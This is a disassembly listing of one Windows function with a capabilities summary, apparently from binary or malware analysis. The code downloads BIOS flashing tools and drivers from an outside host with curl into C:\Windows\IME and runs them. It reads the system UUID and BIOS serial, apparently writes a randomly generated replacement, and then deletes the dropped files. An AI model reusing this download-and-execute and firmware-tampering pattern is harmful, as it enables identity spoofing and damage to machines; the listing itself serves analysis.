Function at 0x140045b40
Capabilities:
Encode data using xor
Execute command
Generate random numbers using a mersenne twister
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1400]
mov eax, 0x1500
call fcn.14016acf0
sub rsp, rax
mov rax, qword [0x1401d4200]
xor rax, rsp
mov qword [rbp + 0x13f0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
lea r8d, [r14 + 8]
lea rdx, str.bios.rom
lea rcx, [rbp - 0x58]
call fcn.140038970
nop
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_afuefix64.efi__s__o_C:WindowsIME_afuefix64.efi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_AMIDEWINx64.bin__s__o_C:WindowsIMEAMIDEWINx64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_amigendrv64.bin__s__o_C:WindowsIME_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_amifldrv64.bin__s__o_C:WindowsIME_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_asus.bin__s__o_C:WindowsIME_asus.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_http:__file.garden_ZoL8cfreXgpHHpis_util.bin__s__o_C:WindowsIMEutil.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__file.garden_ZoL8cfreXgpHHpis_AFUWINx64.bin__s__o_C:WindowsIMEAFUWINx64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 0x1d
jb 0x1400462c1
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], Ordinal_33
lea r9, str.C:WindowsIMEAFUWINx64.exe
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140039db0
nop
lea r8d, [r14 + 3]
lea rdx, [0x1401ab9bc]
lea rcx, [rsp + 0x70]
call fcn.140037a70
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140045cd8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045cd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045cd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
movdqa xmm0, xmmword [0x1401ac750]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.computersystemproduct_uuid
lea rcx, [rsp + 0x48]
call fcn.140038970
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x28]
call fcn.140044f40
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140045d74
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045d6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400461e6
call fcn.14016a950
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.bios_serialnumber
lea rcx, [rsp + 0x48]
call fcn.140038970
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.140044f40
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140045dea
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045de4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046198
call fcn.14016a950
nop
lea rdx, str.Current_UUID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004c620
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
mov rcx, rax
call fcn.14004cd60
lea rdx, [0x14004c7f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Current_Serial_Number:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004c620
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
mov rcx, rax
call fcn.14004cd60
lea rdx, [0x14004c7f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x13e4], 0xffffffff
mov dword [rbp + 0x64], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x64], eax
inc rdx
cmp rdx, 0x270
jb 0x140045e90
mov dword [rbp + 0x60], 0x270
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x60], r14
mov ecx, reloc.WS2_32.dll_recv
call fcn.14016a5fc
mov qword [rbp - 0x70], rax
lea rdi, [rax + 0x10]
mov qword [rbp - 0x60], rdi
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rbp - 0x68], rdi
mov rbx, qword [rbp - 0x70]
cmp rbx, rdi
je 0x140045f11
nop dword [rax + rax]
lea rcx, [rbp + 0x60]
call fcn.14004d100
mov ecx, eax
shl rcx, 8
shr rcx, 0x20
mov byte [rbx], cl
inc rbx
cmp rbx, rdi
jne 0x140045ef0
mov rbx, qword [rbp - 0x70]
movzx eax, byte [rbx + 6]
and al, 0xf
or al, 0x40
mov byte [rbx + 6], al
mov rcx, qword [rbp - 0x70]
movzx eax, byte [rcx + 8]
and al, 0x3f
or al, 0x80
mov byte [rcx + 8], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
mov rdx, qword [rbp - 8]
shr rdx, 1
lea rcx, [rbp + 0x48]
call fcn.140045320
nop
lea rcx, [rbp - 0x58]
call fcn.1400456e0
mov rcx, qword [rbp - 0x48]
sub rsi, rcx
cmp rsi, 0x1d
jb 0x1400462bb
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], Ordinal_33
lea r9, str.C:WindowsIMEAFUWINx64.exe
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140039db0
nop
mov r8d, 5
lea rdx, str.__Gan
lea rcx, [rsp + 0x48]
call fcn.140037a70
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140046023
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004601e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004601e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIME_afuefix64.efi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIMEAMIDEWINx64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIME_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIME_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIME_asus.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsIMEutil.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400460c3
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400460be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400460be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
movdqa xmm0, xmmword [0x1401ac750]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x14004611d
mov rdx, qword [rbp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004610c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004610c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
mov qword [rbp + 0x48], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140046166
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046155
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046155
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400461a4
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004619f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004619f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
mov qword [rbp - 8], r14
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400461f2
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400461ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400461ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140046240
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004623b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004623b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
movdqa xmm0, xmmword [0x1401ac750]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004628f
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004628a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004628a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
mov rcx, qword [rbp + 0x13f0]
xor rcx, rsp
call fcn.14016a220
lea r11, [rsp + 0x1500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400351f0
nop
call fcn.1400351f0
int3